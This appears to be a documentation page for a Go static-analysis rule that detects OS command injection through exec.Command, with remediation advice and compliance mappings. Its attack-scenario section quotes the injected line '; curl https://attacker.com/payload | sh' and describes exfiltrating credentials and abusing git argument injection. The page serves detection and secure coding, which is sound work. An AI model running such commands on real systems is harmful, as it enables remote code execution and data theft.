OS Command Injection via HTTP Input

CRITICAL

User-controlled HTTP request input reaches os/exec command execution — the critical pattern is exec.Command("sh", "-c", userInput) which enables full shell injection with metacharacters.

Rule Information

Language
Go
Category
Security
Author
Shivasurya
Shivasurya
Last Updated
2026-04-13
Tags
gosecuritycommand-injectionos-execshell-injectionCWE-78OWASP-A03
CWE References

Interactive Playground

Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.

pathfinder scan --ruleset golang/GO-SEC-002 --project .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
rule.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
Cross-file analysis: 3 files

About This Rule

Understanding the vulnerability and how it is detected

OS command injection occurs when user-controlled input is passed to shell command execution functions without sanitization. Go's os/exec package is safer than most languages by default — `exec.Command("ls", userInput)` passes the argument as a separate string to the OS, not through a shell, so shell metacharacters (`;`, `|`, `&&`, `$(...)`, backticks) are literal and not interpreted.

**The critical vulnerability pattern** is when developers explicitly use a shell interpreter: `exec.Command("sh", "-c", userInput)` or `exec.Command("bash", "-c", userInput)`. This invokes a shell to parse the command string, where all shell metacharacters become active and enable full command injection.

**Other dangerous patterns**: - "Passing user input as the binary name: `exec.Command(userInput, args...)` — attacker" controls which binary is executed. - "Argument injection: `exec.Command(\"ffmpeg\", \"-i\", userInput)` — while not shell" injection, ffmpeg and many tools have argument injection vulnerabilities (e.g., `-vf` flag injection).

**Real-world Go command injection CVEs**: - Multiple Go-based CI/CD tools and file conversion services have been found vulnerable when user-supplied filenames or format parameters were passed to exec.Command with shell invocation. - Go tooling that wraps git, ffmpeg, imagemagick, or similar is particularly at risk.

**Preferred alternative**: Always use Go's native libraries instead of shelling out. For image processing: github.com/disintegration/imaging, golang.org/x/image. For git: github.com/go-git/go-git. This eliminates the attack surface entirely.

Security Implications

Potential attack scenarios if this vulnerability is exploited

1

Remote Code Execution (RCE)

Injecting `; curl https://attacker.com/payload | sh` executes arbitrary commands as the application process user. In containerized environments this can achieve container escape via kernel exploits. On bare metal, it provides full server access.

2

Data Exfiltration

Injected commands can read `/etc/passwd`, application configuration files containing database credentials, TLS private keys, or application secrets and transmit them out-of-band via curl, wget, or DNS queries.

3

Persistence and Backdoor Installation

Attackers write cron jobs, SSH authorized_keys, or startup scripts for persistent access. In Kubernetes environments, injected commands can exfiltrate service account tokens for lateral movement across the cluster.

4

Argument Injection

Even without shell metacharacters, passing user input as a command argument can trigger argument injection vulnerabilities in the target tool. git with `--upload-pack` can exfiltrate arbitrary files; ffmpeg with crafted input paths can read arbitrary server files.

How to Fix

Recommended remediation steps

  • 1Use Go native libraries instead of exec.Command for image processing, git, PDF, etc.
  • 2Never use exec.Command("sh", "-c", ...) or exec.Command("bash", "-c", ...) with user input.
  • 3If shelling out is unavoidable, validate input against an explicit allowlist and pass as separate exec.Command arguments (not through a shell).
  • 4The binary name (first argument to exec.Command) must never be user-controlled.
  • 5Use exec.CommandContext with a timeout to limit resource exhaustion from injected commands.
  • 6Run the application with least-privilege OS user to limit blast radius.
  • 7In containers, use seccomp profiles and read-only filesystems as defense-in-depth.

Detection Scope

How Code Pathfinder analyzes your code for this vulnerability

Tracks taint from HTTP framework request sources (net/http.Request, gin.Context, echo.Context, fiber.Ctx) to exec.Command and exec.CommandContext calls with global inter-procedural scope.

Compliance & Standards

Industry frameworks and regulations that require detection of this vulnerability

OWASP Top 10
A03:2021 — Injection
CWE Top 25 (2024)
CWE-78 — OS Command Injection (ranked #5)
NIST SP 800-53 Rev 5
SI-10 — Information Input Validation
PCI DSS v4.0
Requirement 6.2.4 — Protect against OS command injection attacks

References

External resources and documentation

Similar Rules

Explore related security rules for Go

Frequently Asked Questions

Common questions about OS Command Injection via HTTP Input

OS command injection occurs when user-controlled input is passed to shell command execution functions without sanitization. Go's os/exec package is safer than most languages by default — `exec.Command("ls", userInput)` passes the argument as a separate string to the OS, not through a shell, so shell metacharacters (`;`, `|`, `&&`, `$(...)`, backticks) are literal and not interpreted. **The critical vulnerability pattern** is when developers explicitly use a shell interpreter: `exec.Command("sh", "-c", userInput)` or `exec.Command("bash", "-c", userInput)`. This invokes a shell to parse the command string, where all shell metacharacters become active and enable full command injection. **Other dangerous patterns**: - "Passing user input as the binary name: `exec.Command(userInput, args...)` — attacker" controls which binary is executed. - "Argument injection: `exec.Command(\"ffmpeg\", \"-i\", userInput)` — while not shell" injection, ffmpeg and many tools have argument injection vulnerabilities (e.g., `-vf` flag injection). **Real-world Go command injection CVEs**: - Multiple Go-based CI/CD tools and file conversion services have been found vulnerable when user-supplied filenames or format parameters were passed to exec.Command with shell invocation. - Go tooling that wraps git, ffmpeg, imagemagick, or similar is particularly at risk. **Preferred alternative**: Always use Go's native libraries instead of shelling out. For image processing: github.com/disintegration/imaging, golang.org/x/image. For git: github.com/go-git/go-git. This eliminates the attack surface entirely.
Use Code Pathfinder to scan your codebase: pathfinder scan --ruleset golang/GO-SEC-002 --project .
This vulnerability is rated as CRITICAL severity.
Yes! Code Pathfinder allows you to customize rules. Modify detection patterns, adjust severity levels, add custom sanitizers, and configure the rule to fit your organization's security policies.

New feature

Get these findings posted directly on your GitHub pull requests

The OS Command Injection via HTTP Input rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.

See how it works